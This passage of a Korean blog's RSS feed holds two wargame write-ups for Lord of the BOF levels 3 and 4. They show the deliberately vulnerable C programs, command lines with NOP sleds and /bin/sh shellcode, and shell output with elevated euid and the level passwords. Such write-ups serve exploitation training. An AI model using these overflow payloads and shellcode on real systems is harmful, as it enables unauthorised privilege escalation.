&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i]));&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;0x%x\n&quot;, argv[2]); // 추가된 부분이다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ ./orc `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xaa\xaa\xaa\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*30000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;
0xbfff872e&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ªªª¿&lt;/div&gt;
&lt;div&gt;
Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ ./orc `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x2e\x87\xff\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*30000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;
euid = 504&lt;/div&gt;
&lt;div&gt;
cantata&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
성공적으로 문제를 풀었다.&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-547-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-547-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-547-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19607263&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/547</guid>
			<comments>http://iyounges.org/547#entry547comment</comments>
			<pubDate>Wed, 17 Aug 2011 02:10:44 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL3 (cobolt -&gt; goblin) 문제풀이</title>
			<link>http://iyounges.org/546</link>
			<description>&lt;div&gt;
&lt;br /&gt;
[cobolt@localhost cobolt]$ ls&lt;/div&gt;
&lt;div&gt;
goblin &amp;nbsp;goblin.c&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[cobolt@localhost cobolt]$ ./goblin&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[cobolt@localhost cobolt]$ ./goblin aa aa aa&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
프로그램을 입력해도 아무 응답이 없네열...&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[cobolt@localhost cobolt]$ cat goblin.c&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - goblin&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - small buffer + stdin&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int main()&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; char buffer[16];&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; gets(buffer);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
확인해보니 아까와 다른 방식입니다. 이번에는 프로그램을 실행하고 입력하는 방식입니다.&lt;/div&gt;
&lt;div&gt;
이럴때는 스크립트를 넘겨줄때 다음과 같이 넘겨주어야 합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
(python -c &#039;print &quot;\x90&quot;*100&#039;;cat)|./attackme&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
이번에는 환경변수를 이용해 문제를 풀어보도록 하겠습니다. 일단 에그쉘과 에그쉘의 정확한 주소를 알아내는&lt;/div&gt;
&lt;div&gt;
소스를 짜야됩니다. 그에 대한 내용은 자세히 설명하지 않고 넘어가겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
일단 에그쉘을 사용해 실행시키고 에그쉘 주소까지 알아냈다면 공격해봅시다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int main(void)&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;0x%x\n&quot;, getenv(&quot;EGG&quot;));&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
이 소스를 이용해 EGG 환경변수의 주소를 알아내었다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[cobolt@localhost cobolt]$ (python -c &#039;print &quot;\x90&quot;*20 + &quot;\xd2\xf5\xff\xbf&quot;&#039;;cat)|./goblin&lt;/div&gt;
&lt;div&gt;
Òõÿ¿&lt;/div&gt;
&lt;div&gt;
*BRAVO!! congratulation~*&lt;/div&gt;
&lt;div&gt;
*http://blueh4g.org*&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
id&lt;/div&gt;
&lt;div&gt;
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
my-pass&lt;/div&gt;
&lt;div&gt;
euid = 503&lt;/div&gt;
&lt;div&gt;
hackers proof&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
성공적으로 정답을 풀었다.&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-546-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-546-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-546-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19601983&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/546</guid>
			<comments>http://iyounges.org/546#entry546comment</comments>
			<pubDate>Tue, 16 Aug 2011 21:47:02 +0900</pubDate>
		</item>
	</channel>
</rss>

